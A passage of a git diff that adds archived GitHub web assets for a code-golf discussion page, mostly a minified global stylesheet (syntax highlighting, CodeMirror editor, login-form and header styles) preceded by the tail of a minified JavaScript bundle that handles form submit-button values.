I=y.matches("input[type=submit]")?"Submit":"",D=y.value||I;E||(E=document.createElement("input"),E.type="hidden",E.classList.add("is-submit-button-value"),p.prepend(E)),E.name=y.name,E.value=D}else E&&E.remove()}a(b,"persistSubmitButtonValue");function L(y){const p=y.querySelector("input.is-submit-button-value");return p instanceof HTMLInputElement?p:null}a(L,"findPersistedSubmitButtonValue")}},B=>{var P=a(b=>B(B.s=b),"__webpack_exec__");B.O(0,["vendors-node_modules_selector-observer_dist_index_esm_js","vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe","vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-c7e9ed","vendors-node_modules_github_catalyst_lib_index_js-node_modules_github_time-elements_dist_index_js","vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_primer_view-co-52e104"],()=>P(47486));var m=B.O()}]);})(); + +//# sourceMappingURL=github-elements-1649ccafecd9.js.map \ No newline at end of file diff --git a/archive/Problem 8 Create Go channels… without Go channels · Discussion #9 · Ta180m_Idiot-Code-Golf_files/global-181aeb293fed.css b/archive/Problem 8 Create Go channels… without Go channels · Discussion #9 · Ta180m_Idiot-Code-Golf_files/global-181aeb293fed.css new file mode 100644 index 0000000..2192c7e --- /dev/null +++ b/archive/Problem 8 Create Go channels… without Go channels · Discussion #9 · Ta180m_Idiot-Code-Golf_files/global-181aeb293fed.css @@ -0,0 +1,11 @@ +.color-border-inverse{border-color:var(--color-fg-on-emphasis) !important}.bg-gray-2,.bg-gray-3{background-color:var(--color-neutral-muted) !important}.color-text-white{color:var(--color-scale-white) !important}.border-white-fade{border-color:rgba(255,255,255,.15) !important}.lead{color:var(--color-fg-muted)}.text-emphasized{color:var(--color-fg-default)}.Label.Label--orange{color:var(--color-severe-fg);border-color:var(--color-severe-emphasis)}.Label.Label--purple{color:var(--color-done-fg);border-color:var(--color-done-emphasis)}.Label.Label--pink{color:var(--color-sponsors-fg);border-color:var(--color-sponsors-emphasis)}/*! + * GitHub Light v0.5.0 + * Copyright (c) 2012 - 2017 GitHub, Inc. + * Licensed under MIT (https://github.com/primer/github-syntax-theme-generator/blob/master/LICENSE) + */.pl-c{color:var(--color-prettylights-syntax-comment)}.pl-c1,.pl-s .pl-v{color:var(--color-prettylights-syntax-constant)}.pl-e,.pl-en{color:var(--color-prettylights-syntax-entity)}.pl-smi,.pl-s .pl-s1{color:var(--color-prettylights-syntax-storage-modifier-import)}.pl-ent{color:var(--color-prettylights-syntax-entity-tag)}.pl-k{color:var(--color-prettylights-syntax-keyword)}.pl-s,.pl-pds,.pl-s .pl-pse .pl-s1,.pl-sr,.pl-sr .pl-cce,.pl-sr .pl-sre,.pl-sr .pl-sra{color:var(--color-prettylights-syntax-string)}.pl-v,.pl-smw{color:var(--color-prettylights-syntax-variable)}.pl-bu{color:var(--color-prettylights-syntax-brackethighlighter-unmatched)}.pl-ii{color:var(--color-prettylights-syntax-invalid-illegal-text);background-color:var(--color-prettylights-syntax-invalid-illegal-bg)}.pl-c2{color:var(--color-prettylights-syntax-carriage-return-text);background-color:var(--color-prettylights-syntax-carriage-return-bg)}.pl-c2::before{content:"^M"}.pl-sr .pl-cce{font-weight:bold;color:var(--color-prettylights-syntax-string-regexp)}.pl-ml{color:var(--color-prettylights-syntax-markup-list)}.pl-mh,.pl-mh .pl-en,.pl-ms{font-weight:bold;color:var(--color-prettylights-syntax-markup-heading)}.pl-mi{font-style:italic;color:var(--color-prettylights-syntax-markup-italic)}.pl-mb{font-weight:bold;color:var(--color-prettylights-syntax-markup-bold)}.pl-md{color:var(--color-prettylights-syntax-markup-deleted-text);background-color:var(--color-prettylights-syntax-markup-deleted-bg)}.pl-mi1{color:var(--color-prettylights-syntax-markup-inserted-text);background-color:var(--color-prettylights-syntax-markup-inserted-bg)}.pl-mc{color:var(--color-prettylights-syntax-markup-changed-text);background-color:var(--color-prettylights-syntax-markup-changed-bg)}.pl-mi2{color:var(--color-prettylights-syntax-markup-ignored-text);background-color:var(--color-prettylights-syntax-markup-ignored-bg)}.pl-mdr{font-weight:bold;color:var(--color-prettylights-syntax-meta-diff-range)}.pl-ba{color:var(--color-prettylights-syntax-brackethighlighter-angle)}.pl-sg{color:var(--color-prettylights-syntax-sublimelinter-gutter-mark)}.pl-corl{text-decoration:underline;color:var(--color-prettylights-syntax-constant-other-reference-link)}.CodeMirror{font-family:monospace;height:300px;color:black;direction:ltr}.CodeMirror-lines{padding:4px 0}.CodeMirror pre.CodeMirror-line,.CodeMirror pre.CodeMirror-line-like{padding:0 4px}.CodeMirror-scrollbar-filler,.CodeMirror-gutter-filler{background-color:white}.CodeMirror-gutters{border-right:1px solid #ddd;background-color:#f7f7f7;white-space:nowrap}.CodeMirror-linenumber{padding:0 3px 0 5px;min-width:20px;text-align:right;color:#999;white-space:nowrap}.CodeMirror-guttermarker{color:black}.CodeMirror-guttermarker-subtle{color:#999}.CodeMirror-cursor{border-left:1px solid black;border-right:none;width:0}.CodeMirror div.CodeMirror-secondarycursor{border-left:1px solid silver}.cm-fat-cursor .CodeMirror-cursor{width:auto;border:0 !important;background:#7e7}.cm-fat-cursor div.CodeMirror-cursors{z-index:1}.cm-fat-cursor-mark{background-color:rgba(20, 255, 20, 0.5);animation:blink 1.06s steps(1) infinite}.cm-animate-fat-cursor{width:auto;border:0;animation:blink 1.06s steps(1) infinite;background-color:#7e7}@keyframes blink{50%{background-color:transparent}}.cm-tab{display:inline-block;text-decoration:inherit}.CodeMirror-rulers{position:absolute;left:0;right:0;top:-50px;bottom:0;overflow:hidden}.CodeMirror-ruler{border-left:1px solid #ccc;top:0;bottom:0;position:absolute}.cm-s-default .cm-header{color:blue}.cm-s-default .cm-quote{color:#090}.cm-negative{color:#d44}.cm-positive{color:#292}.cm-header,.cm-strong{font-weight:bold}.cm-em{font-style:italic}.cm-link{text-decoration:underline}.cm-strikethrough{text-decoration:line-through}.cm-s-default .cm-keyword{color:#708}.cm-s-default .cm-atom{color:#219}.cm-s-default .cm-number{color:#164}.cm-s-default .cm-def{color:blue}.cm-s-default .cm-variable-2{color:#05a}.cm-s-default .cm-variable-3,.cm-s-default .cm-type{color:#085}.cm-s-default .cm-comment{color:#a50}.cm-s-default .cm-string{color:#a11}.cm-s-default .cm-string-2{color:#f50}.cm-s-default .cm-meta{color:#555}.cm-s-default .cm-qualifier{color:#555}.cm-s-default .cm-builtin{color:#30a}.cm-s-default .cm-bracket{color:#997}.cm-s-default .cm-tag{color:#170}.cm-s-default .cm-attribute{color:#00c}.cm-s-default .cm-hr{color:#999}.cm-s-default .cm-link{color:#00c}.cm-s-default .cm-error{color:red}.cm-invalidchar{color:red}.CodeMirror-composing{border-bottom:2px solid}div.CodeMirror span.CodeMirror-matchingbracket{color:#0b0}div.CodeMirror span.CodeMirror-nonmatchingbracket{color:#a22}.CodeMirror-matchingtag{background:rgba(255, 150, 0, 0.3)}.CodeMirror-activeline-background{background:#e8f2ff}.CodeMirror{position:relative;overflow:hidden;background:white}.CodeMirror-scroll{overflow:scroll !important;margin-bottom:-50px;margin-right:-50px;padding-bottom:50px;height:100%;outline:none;position:relative}.CodeMirror-sizer{position:relative;border-right:50px solid transparent}.CodeMirror-vscrollbar,.CodeMirror-hscrollbar,.CodeMirror-scrollbar-filler,.CodeMirror-gutter-filler{position:absolute;z-index:6;display:none;outline:none}.CodeMirror-vscrollbar{right:0;top:0;overflow-x:hidden;overflow-y:scroll}.CodeMirror-hscrollbar{bottom:0;left:0;overflow-y:hidden;overflow-x:scroll}.CodeMirror-scrollbar-filler{right:0;bottom:0}.CodeMirror-gutter-filler{left:0;bottom:0}.CodeMirror-gutters{position:absolute;left:0;top:0;min-height:100%;z-index:3}.CodeMirror-gutter{white-space:normal;height:100%;display:inline-block;vertical-align:top;margin-bottom:-50px}.CodeMirror-gutter-wrapper{position:absolute;z-index:4;background:none !important;border:none !important}.CodeMirror-gutter-background{position:absolute;top:0;bottom:0;z-index:4}.CodeMirror-gutter-elt{position:absolute;cursor:default;z-index:4}.CodeMirror-gutter-wrapper ::selection{background-color:transparent}.CodeMirror-gutter-wrapper ::-moz-selection{background-color:transparent}.CodeMirror-lines{cursor:text;min-height:1px}.CodeMirror pre.CodeMirror-line,.CodeMirror pre.CodeMirror-line-like{border-radius:0;border-width:0;background:transparent;font-family:inherit;font-size:inherit;margin:0;white-space:pre;word-wrap:normal;line-height:inherit;color:inherit;z-index:2;position:relative;overflow:visible;-webkit-tap-highlight-color:transparent;font-variant-ligatures:contextual}.CodeMirror-wrap pre.CodeMirror-line,.CodeMirror-wrap pre.CodeMirror-line-like{word-wrap:break-word;white-space:pre-wrap;word-break:normal}.CodeMirror-linebackground{position:absolute;left:0;right:0;top:0;bottom:0;z-index:0}.CodeMirror-linewidget{position:relative;z-index:2;padding:.1px}.CodeMirror-rtl pre{direction:rtl}.CodeMirror-code{outline:none}.CodeMirror-scroll,.CodeMirror-sizer,.CodeMirror-gutter,.CodeMirror-gutters,.CodeMirror-linenumber{box-sizing:content-box}.CodeMirror-measure{position:absolute;width:100%;height:0;overflow:hidden;visibility:hidden}.CodeMirror-cursor{position:absolute;pointer-events:none}.CodeMirror-measure pre{position:static}div.CodeMirror-cursors{visibility:hidden;position:relative;z-index:3}div.CodeMirror-dragcursors{visibility:visible}.CodeMirror-focused div.CodeMirror-cursors{visibility:visible}.CodeMirror-selected{background:#d9d9d9}.CodeMirror-focused .CodeMirror-selected{background:#d7d4f0}.CodeMirror-crosshair{cursor:crosshair}.CodeMirror-line::selection,.CodeMirror-line>span::selection,.CodeMirror-line>span>span::selection{background:#d7d4f0}.CodeMirror-line::-moz-selection,.CodeMirror-line>span::-moz-selection,.CodeMirror-line>span>span::-moz-selection{background:#d7d4f0}.cm-searching{background-color:#ffa;background-color:rgba(255, 255, 0, 0.4)}.cm-force-border{padding-right:.1px}@media print{.CodeMirror div.CodeMirror-cursors{visibility:hidden}}.cm-tab-wrap-hack:after{content:""}span.CodeMirror-selectedtext{background:none}.CodeMirror-dialog{position:absolute;left:0;right:0;background:inherit;z-index:15;padding:.1em .8em;overflow:hidden;color:inherit}.CodeMirror-dialog-top{border-bottom:1px solid #eee;top:0}.CodeMirror-dialog-bottom{border-top:1px solid #eee;bottom:0}.CodeMirror-dialog input{border:none;outline:none;background:transparent;width:20em;color:inherit;font-family:monospace}.CodeMirror-dialog button{font-size:70%}.CodeMirror-merge{position:relative;border:1px solid #ddd;white-space:pre}.CodeMirror-merge,.CodeMirror-merge .CodeMirror{height:350px}.CodeMirror-merge-2pane .CodeMirror-merge-pane{width:47%}.CodeMirror-merge-2pane .CodeMirror-merge-gap{width:6%}.CodeMirror-merge-3pane .CodeMirror-merge-pane{width:31%}.CodeMirror-merge-3pane .CodeMirror-merge-gap{width:3.5%}.CodeMirror-merge-pane{display:inline-block;white-space:normal;vertical-align:top}.CodeMirror-merge-pane-rightmost{position:absolute;right:0px;z-index:1}.CodeMirror-merge-gap{z-index:2;display:inline-block;height:100%;box-sizing:border-box;overflow:hidden;border-left:1px solid #ddd;border-right:1px solid #ddd;position:relative;background:#f8f8f8}.CodeMirror-merge-scrolllock-wrap{position:absolute;bottom:0;left:50%}.CodeMirror-merge-scrolllock{position:relative;left:-50%;cursor:pointer;color:#555;line-height:1}.CodeMirror-merge-scrolllock:after{content:"⇛  ⇚"}.CodeMirror-merge-scrolllock.CodeMirror-merge-scrolllock-enabled:after{content:"⇛⇚"}.CodeMirror-merge-copybuttons-left,.CodeMirror-merge-copybuttons-right{position:absolute;left:0;top:0;right:0;bottom:0;line-height:1}.CodeMirror-merge-copy{position:absolute;cursor:pointer;color:#44c;z-index:3}.CodeMirror-merge-copy-reverse{position:absolute;cursor:pointer;color:#44c}.CodeMirror-merge-copybuttons-left .CodeMirror-merge-copy{left:2px}.CodeMirror-merge-copybuttons-right .CodeMirror-merge-copy{right:2px}.CodeMirror-merge-r-inserted,.CodeMirror-merge-l-inserted{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAMAAAACCAYAAACddGYaAAAAGUlEQVQI12MwuCXy3+CWyH8GBgYGJgYkAABZbAQ9ELXurwAAAABJRU5ErkJggg==);background-position:bottom left;background-repeat:repeat-x}.CodeMirror-merge-r-deleted,.CodeMirror-merge-l-deleted{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAMAAAACCAYAAACddGYaAAAAGUlEQVQI12M4Kyb2/6yY2H8GBgYGJgYkAABURgPz6Ks7wQAAAABJRU5ErkJggg==);background-position:bottom left;background-repeat:repeat-x}.CodeMirror-merge-r-chunk{background:#ffffe0}.CodeMirror-merge-r-chunk-start{border-top:1px solid #ee8}.CodeMirror-merge-r-chunk-end{border-bottom:1px solid #ee8}.CodeMirror-merge-r-connect{fill:#ffffe0;stroke:#ee8;stroke-width:1px}.CodeMirror-merge-l-chunk{background:#eef}.CodeMirror-merge-l-chunk-start{border-top:1px solid #88e}.CodeMirror-merge-l-chunk-end{border-bottom:1px solid #88e}.CodeMirror-merge-l-connect{fill:#eef;stroke:#88e;stroke-width:1px}.CodeMirror-merge-l-chunk.CodeMirror-merge-r-chunk{background:#dfd}.CodeMirror-merge-l-chunk-start.CodeMirror-merge-r-chunk-start{border-top:1px solid #4e4}.CodeMirror-merge-l-chunk-end.CodeMirror-merge-r-chunk-end{border-bottom:1px solid #4e4}.CodeMirror-merge-collapsed-widget:before{content:"(...)"}.CodeMirror-merge-collapsed-widget{cursor:pointer;color:#88b;background:#eef;border:1px solid #ddf;font-size:90%;padding:0 3px;border-radius:4px}.CodeMirror-merge-collapsed-line .CodeMirror-gutter-elt{display:none}/*! + * GitHub Light v0.4.2 + * Copyright (c) 2012 - 2017 GitHub, Inc. + * Licensed under MIT (https://github.com/primer/github-syntax-theme-generator/blob/master/LICENSE) + */.cm-s-github-light.CodeMirror{background:var(--color-codemirror-bg);color:var(--color-codemirror-text)}.cm-s-github-light .CodeMirror-gutters{background:var(--color-codemirror-gutters-bg);border-right-width:0}.cm-s-github-light .CodeMirror-guttermarker{color:var(--color-codemirror-guttermarker-text)}.cm-s-github-light .CodeMirror-guttermarker-subtle{color:var(--color-codemirror-guttermarker-subtle-text)}.cm-s-github-light .CodeMirror-linenumber{color:var(--color-codemirror-linenumber-text);padding:0 16px 0 16px}.cm-s-github-light .CodeMirror-cursor{border-left:1px solid var(--color-codemirror-cursor)}.cm-s-github-light.CodeMirror-focused .CodeMirror-selected,.cm-s-github-light .CodeMirror-line::selection,.cm-s-github-light .CodeMirror-line>span::selection,.cm-s-github-light .CodeMirror-line>span>span::selection{background:var(--color-codemirror-selection-bg, #d7d4f0)}.cm-s-github-light .CodeMirror-line::-moz-selection,.cm-s-github-light .CodeMirror-line>span::-moz-selection,.cm-s-github-light .CodeMirror-line>span>span::-moz-selection{background:var(--color-codemirror-selection-bg, #d7d4f0)}.cm-s-github-light .CodeMirror-activeline-background{background:var(--color-codemirror-activeline-bg)}.cm-s-github-light .CodeMirror-matchingbracket{text-decoration:underline;color:var(--color-codemirror-matchingbracket-text) !important}.cm-s-github-light .CodeMirror-lines{font-family:"SFMono-Regular",Consolas,"Liberation Mono",Menlo,Courier,monospace;font-size:12px;background:var(--color-codemirror-lines-bg);line-height:1.5}.cm-s-github-light .cm-comment{color:var(--color-codemirror-syntax-comment)}.cm-s-github-light .cm-constant{color:var(--color-codemirror-syntax-constant)}.cm-s-github-light .cm-entity{font-weight:normal;font-style:normal;text-decoration:none;color:var(--color-codemirror-syntax-entity)}.cm-s-github-light .cm-keyword{font-weight:normal;font-style:normal;text-decoration:none;color:var(--color-codemirror-syntax-keyword)}.cm-s-github-light .cm-storage{color:var(--color-codemirror-syntax-storage)}.cm-s-github-light .cm-string{font-weight:normal;font-style:normal;text-decoration:none;color:var(--color-codemirror-syntax-string)}.cm-s-github-light .cm-support{font-weight:normal;font-style:normal;text-decoration:none;color:var(--color-codemirror-syntax-support)}.cm-s-github-light .cm-variable{font-weight:normal;font-style:normal;text-decoration:none;color:var(--color-codemirror-syntax-variable)}details-dialog{position:fixed;margin:10vh auto;top:0;left:50%;transform:translateX(-50%);z-index:999;max-height:80vh;max-width:90vw;width:448px;overflow:auto}.user-select-contain{-webkit-user-select:contain;user-select:contain}.ajax-pagination-form .ajax-pagination-btn{width:100%;padding:6px;margin-top:20px;font-weight:600;color:var(--color-accent-fg);background:var(--color-canvas-default);border:1px solid var(--color-border-default);border-radius:6px}.ajax-pagination-form .ajax-pagination-btn:hover,.ajax-pagination-form .ajax-pagination-btn:focus{color:var(--color-accent-fg);background-color:var(--color-canvas-subtle)}.ajax-pagination-form.loading .ajax-pagination-btn{text-indent:-3000px;background-color:var(--color-canvas-subtle);background-image:url("/images/spinners/octocat-spinner-16px-EAF2F5.gif");background-repeat:no-repeat;background-position:center center;border-color:var(--color-border-default)}@media only screen and (-webkit-min-device-pixel-ratio: 2),only screen and (-moz-min-device-pixel-ratio: 2),only screen and (min-device-pixel-ratio: 2),only screen and (min-resolution: 192dpi),only screen and (min-resolution: 2dppx){.ajax-pagination-form.loading .ajax-pagination-btn{background-image:url("/images/spinners/octocat-spinner-32-EAF2F5.gif");background-size:16px auto}}body.intent-mouse [role=button]:focus,body.intent-mouse [role=tabpanel][tabindex="0"]:focus,body.intent-mouse button:focus,body.intent-mouse summary:focus,body.intent-mouse a:focus{outline:none;box-shadow:none}body.intent-mouse [tabindex="0"]:focus,body.intent-mouse details-dialog:focus{outline:none}.CodeMirror{height:calc(100vh - 1px)}.file-editor-upload{height:100%}.issue-template-editor{height:100%}.file-editor-textarea{width:100%;padding:5px 4px;font:12px ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace;resize:vertical;border:0;border-radius:0;outline:none}.container-preview .tabnav-tabs{margin:-5px 0 -5px -9px}.container-preview .tabnav-tabs .tabnav-tab{padding:12px 16px;border-radius:0}.container-preview .tabnav-tabs>.selected:first-child{border-top-left-radius:6px}.container-preview .tabnav-tabs .selected{font-weight:600}.container-preview.template-editor .commit-create,.container-preview.template-editor .file-actions{display:block}.container-preview.template-editor .show-code,.container-preview.template-editor .commit-preview,.container-preview.template-editor .loading-preview-msg,.container-preview.template-editor .no-changes-preview-msg,.container-preview.template-editor .error-preview-msg{display:none !important}.container-preview.render-editor .commit-create,.container-preview.render-editor .file-actions{display:block}.container-preview.render-editor .template-editor,.container-preview.render-editor .show-code,.container-preview.render-editor .commit-preview,.container-preview.render-editor .loading-preview-msg,.container-preview.render-editor .no-changes-preview-msg,.container-preview.render-editor .error-preview-msg{display:none !important}.container-preview.show-code .commit-create,.container-preview.show-code .file-actions{display:block}.container-preview.show-code .template-editor,.container-preview.show-code .render-editor,.container-preview.show-code .commit-preview,.container-preview.show-code .loading-preview-msg,.container-preview.show-code .no-changes-preview-msg,.container-preview.show-code .error-preview-msg{display:none !important}.container-preview:not(.show-code) .commit-create,.container-preview:not(.show-code) .file-actions{display:none !important}.container-preview.loading-preview .loading-preview-msg{display:block}.container-preview.loading-preview .template-editor,.container-preview.loading-preview .render-editor,.container-preview.loading-preview .no-changes-preview-msg,.container-preview.loading-preview .error-preview-msg,.container-preview.loading-preview .commit-preview{display:none !important}.container-preview.show-preview .commit-preview{display:block}.container-preview.show-preview .template-editor,.container-preview.show-preview .render-editor,.container-preview.show-preview .loading-preview-msg,.container-preview.show-preview .no-changes-preview-msg,.container-preview.show-preview .error-preview-msg{display:none !important}.container-preview.no-changes-preview .no-changes-preview-msg{display:block}.container-preview.no-changes-preview .template-editor,.container-preview.no-changes-preview .render-editor,.container-preview.no-changes-preview .loading-preview-msg,.container-preview.no-changes-preview .error-preview-msg,.container-preview.no-changes-preview .commit-preview{display:none !important}.container-preview.error-preview .error-preview-msg{display:block}.container-preview.error-preview .template-editor,.container-preview.error-preview .render-editor,.container-preview.error-preview .loading-preview-msg,.container-preview.error-preview .no-changes-preview-msg,.container-preview.error-preview .commit-preview{display:none !important}.container-preview p.preview-msg{padding:30px;font-size:16px}.CodeMirror-merge-header{height:30px}.CodeMirror-merge-header .CodeMirror-merge-pane{height:30px;line-height:30px}.cm-s-github-light .merge-gutter{width:14px}.conflict-background+.CodeMirror-gutter-wrapper .CodeMirror-linenumber{background-color:var(--color-attention-subtle)}.form-group .edit-action{opacity:.6}.form-group .form-field-hover{background-color:none;border:1px solid var(--color-border-default)}.form-group:hover .edit-action{cursor:pointer;opacity:.7}.form-group:hover .form-field-hover{cursor:pointer;border:1px solid var(--color-border-default)}.placeholder-box{border:1px solid var(--color-border-default)}.template-previews{max-width:768px}.template-previews .Box .expand-group{display:none;height:0}.template-previews .Box .dismiss-preview-button{display:none}.template-previews .Box.expand-preview .expand-group{display:block;height:100%;transition:height 3s}.template-previews .Box.expand-preview .preview-button{display:none}.template-previews .Box.expand-preview .dismiss-preview-button{display:inline}.template-previews .discussion-sidebar-heading{font-size:14px;color:var(--color-neutral-emphasis)}.template-previews .discussion-sidebar-heading:hover{color:var(--color-accent-emphasis)}.edit-labels{display:none}.preview-section{display:block}.edit-section{display:none}.Box .section-focus .preview-section{display:none}.Box .section-focus .edit-section{display:block}.commit-create .CodeMirror{padding-top:8px}auto-complete,details-dialog,details-menu,file-attachment,filter-input,remote-input,tab-container,text-expander,turbo-frame,[data-catalyst]{display:block}[data-catalyst-inline]{display:inline}.Details--on .Details-content--shown{display:none !important}.Details:not(.Details--on) .Details-content--hidden{display:none !important}.Details:not(.Details--on) .Details-content--hidden-not-important{display:none}.Details-element[open]>summary .Details-content--closed{display:none !important}.Details-element:not([open])>summary .Details-content--open{display:none !important}g-emoji{display:inline-block;min-width:1ch;font-family:"Apple Color Emoji","Segoe UI Emoji","Segoe UI Symbol";font-size:1em;font-style:normal !important;font-weight:400;line-height:1;vertical-align:-0.075em}g-emoji img{width:1em;height:1em}.emoji-icon{display:inline-block;width:20px;height:20px;vertical-align:middle;background-repeat:no-repeat;background-size:20px 20px}.emoji-result{display:inline-block;height:20px;font-size:16px;font-weight:400;vertical-align:middle}.gollum-editor .comment-form-head.tabnav{border:1px solid var(--color-border-muted)}.gollum-editor .gollum-editor-body{height:390px;resize:vertical}.active .gollum-editor-function-buttons{display:block !important}.auth-form{width:340px;margin:0 auto}.auth-form .form-group.warn .warning,.auth-form .form-group.warn .error,.auth-form .form-group.errored .warning,.auth-form .form-group.errored .error{max-width:274px}.auth-form-header{padding:8px 16px;margin:0;color:#fff;text-shadow:0 -1px 0 rgba(0,0,0,.3);background-color:#829aa8;border:1px solid #768995;border-radius:6px 6px 0 0}.auth-form-header h1{font-size:16px}.auth-form-header h1 a{color:#fff}.auth-form-header .octicon{position:absolute;top:10px;right:20px;color:rgba(0,0,0,.4);text-shadow:0 1px 0 rgba(255,255,255,.1)}.auth-form-message{max-height:140px;padding:16px 16px 8px;overflow-y:scroll;border:1px solid var(--color-border-default);border-radius:6px}.auth-form-message ol,.auth-form-message ul{padding-left:inherit;margin-bottom:inherit}.auth-form-body{padding:16px;font-size:14px;background-color:var(--color-canvas-subtle);border:1px solid var(--color-border-muted);border-top:0;border-radius:0 0 6px 6px}.auth-form-body .input-block{margin-top:4px;margin-bottom:16px}.auth-form-body p{margin-bottom:0}.auth-form-body ol,.auth-form-body ul{padding-left:inherit;margin-bottom:inherit}.two-factor-help{position:relative;padding:8px 8px 8px 32px;margin:60px 0 auto auto;border:1px solid var(--color-border-muted);border-radius:6px}.two-factor-help h4{margin-top:0;margin-bottom:4px}.two-factor-help .octicon-device-mobile,.two-factor-help .octicon-key,.two-factor-help .octicon-shield-lock,.two-factor-help .octicon-circle-slash{position:absolute;top:10px;left:10px}.sms-send-code-spinner{position:relative;bottom:2px;display:none;vertical-align:bottom}.loading .sms-send-code-spinner{display:inline}.auth-form-body .webauthn-form-body{padding:0}.webauthn-form-body{padding:32px 32px 16px;text-align:center}.webauthn-form-body button{margin-top:16px}.flash.sms-error,.flash.sms-success{display:none;margin:0 0 8px}.is-sent .sms-success{display:block}.is-sent .sms-error{display:none}.is-not-sent .sms-success{display:none}.is-not-sent .sms-error{display:block}.session-authentication{background-color:var(--color-canvas-default)}.session-authentication .header-logged-out{background-color:transparent;border-bottom:0}.session-authentication .header-logo{color:var(--color-fg-default)}.session-authentication .flash{padding:16px 16px;margin:0 auto;margin-bottom:8px;font-size:14px;border-style:solid;border-width:1px;border-radius:6px}.session-authentication .flash .container{width:auto}.session-authentication .flash .flash-close{height:40px}.session-authentication .flash.flash-banner{width:100%;border-top:0;border-right:0;border-left:0;border-radius:0}.session-authentication .auth-form label{display:block;margin-bottom:8px;font-weight:400;text-align:left}.session-authentication .auth-form .btn{margin-top:16px}.session-authentication .auth-form .webauthn-message{margin-bottom:0}.session-authentication .label-link{float:right;font-size:12px}.session-authentication .auth-form-header{margin-bottom:16px;color:var(--color-fg-default);text-align:center;text-shadow:none;background-color:transparent;border:0}.session-authentication .auth-form-header h1{font-size:24px;font-weight:300;letter-spacing:-0.5px}.session-authentication .auth-form-body{border-top:1px solid var(--color-border-muted);border-radius:6px}.session-authentication .auth-form-body.webauthn-form-body{padding:16px}.session-authentication .login-callout{padding:16px 16px;text-align:center;border:1px solid var(--color-border-default);border-radius:6px}.session-authentication .two-factor-help{padding:0 0 0 16px;margin-top:16px;border:0}.session-authentication .two-factor-help .octicon-device-mobile,.session-authentication .two-factor-help .octicon-key,.session-authentication .two-factor-help .octicon-shield-lock,.session-authentication .two-factor-help .octicon-circle-slash{top:4px;left:0}.session-authentication.enterprise .header-logged-out{padding:48px 0 24px;background-color:transparent}.session-authentication.hosted .header-logged-out{padding:40px 0 16px;background-color:transparent}.Header-old{z-index:32;padding-top:12px;padding-bottom:12px;color:#fff;background-color:var(--color-header-bg)}.server-stats+.Header-old{box-shadow:inset 0 1px 0 rgba(255,255,255,.075)}.Header-old .dropdown-menu{width:300px}.Header-old .notification-indicator:hover::after{content:none}@media(min-width: 1012px){.Header-old .notification-indicator:hover::after{content:attr(aria-label)}}.HeaderMenu{display:none;clear:both}@media(min-width: 1012px){.HeaderMenu{display:block;clear:none}}.open .HeaderMenu{display:block}.HeaderMenu-summary::marker,.HeaderMenu-summary::-webkit-details-marker{display:none}@keyframes dropdown-display{0%{opacity:0;transform:scale(0.98) translateY(-0.6em)}100%{opacity:1;transform:scale(1) translateY(0)}}.HeaderMenu--logged-out{z-index:100;width:300px;overflow:auto;background-color:var(--color-canvas-default);box-shadow:0 10px 50px rgba(27,31,35,.15)}@media(min-width: 1012px){.HeaderMenu--logged-out{width:auto;overflow:visible;background-color:transparent;box-shadow:none}}.HeaderMenu--logged-out .jump-to-suggestions{top:100%}.HeaderMenu--logged-out .HeaderMenu-details[open]>summary::before{position:absolute;bottom:-8px;display:block}.HeaderMenu--logged-out .header-search-key-slash{margin-right:8px !important}.HeaderMenu--logged-out .dropdown-menu{position:static;width:auto;border:0 solid transparent;box-shadow:none}.HeaderMenu--logged-out .dropdown-menu::before,.HeaderMenu--logged-out .dropdown-menu::after{display:none}@media(min-width: 1012px){.HeaderMenu--logged-out .dropdown-menu{position:absolute;width:300px;border:0;box-shadow:0 3px 12px rgba(27,31,35,.15),0 0 1px rgba(27,31,35,.2)}.HeaderMenu--logged-out .dropdown-menu::before,.HeaderMenu--logged-out .dropdown-menu::after{content:""}}.HeaderMenu--logged-out .dropdown-menu-s{transform:none}@media(min-width: 1012px){.HeaderMenu--logged-out .dropdown-menu-s{transform:translateX(50%)}}.HeaderMenu--logged-out .header-search{width:auto;border-top:0}@media(min-width: 1012px){.HeaderMenu--logged-out .header-search{width:240px}}.HeaderMenu--logged-out .header-search-wrapper{border-color:var(--color-border-muted)}@media(min-width: 1012px){.HeaderMenu--logged-out .header-search-wrapper{border-color:var(--color-header-search-border)}}@media(max-width: 1012px){.HeaderMenu--logged-out .header-search-wrapper{background-color:var(--color-canvas-default)}}.HeaderMenu--logged-out .header-search-input{padding-top:8px;padding-bottom:8px;font-size:14px;-webkit-appearance:none;color:var(--color-fg-default)}@media(min-width: 1012px){.HeaderMenu--logged-out .header-search-input{color:inherit}}.HeaderMenu--logged-out .header-search-input::placeholder{color:var(--color-fg-muted) !important}@media(min-width: 1012px){.HeaderMenu--logged-out .header-search-input::placeholder{color:rgba(255,255,255,.75) !important}}.HeaderMenu-link{color:var(--color-fg-default);white-space:nowrap;background:transparent;transition:opacity .4s}.HeaderMenu-link:hover{color:var(--color-fg-default);opacity:.75}@media(min-width: 1012px){.HeaderMenu-link{color:#fff;transition:opacity .4s}.HeaderMenu-link:hover{color:#fff;opacity:.75}}.HeaderMenu-link .icon-chevon-down-mktg{top:24px;right:0;width:14px;stroke:var(--color-fg-default);transition:stroke .4s}@media(min-width: 1012px){.HeaderMenu-link .icon-chevon-down-mktg{top:-2px;width:12px;stroke:rgba(255,255,255,.5);background:transparent}}.HeaderMenu-details[open]>summary::before{display:none}@media(min-width: 1012px){.HeaderMenu-details[open]>summary::before{position:absolute;bottom:-8px;display:block}}.HeaderMenu-details[open] .HeaderMenu-link{color:var(--color-fg-default)}@media(min-width: 1012px){.HeaderMenu-details[open] .HeaderMenu-link{color:rgba(255,255,255,.75)}}.HeaderMenu-details[open] .dropdown-menu{animation:none}@media(min-width: 1012px){.HeaderMenu-details[open] .dropdown-menu{animation:dropdown-display .4s cubic-bezier(0.73, 0.005, 0.22, 1)}}.HeaderMenu-details[open] .icon-chevon-down-mktg{stroke:var(--color-fg-default)}@media(min-width: 1012px){.HeaderMenu-details[open] .icon-chevon-down-mktg{stroke:#fff}}.header-logo-invertocat{margin:-1px 16px -1px -2px;color:#fff;white-space:nowrap}.header-logo-invertocat .octicon-mark-github{float:left}.header-logo-invertocat:hover{color:#fff;text-decoration:none}.notification-indicator 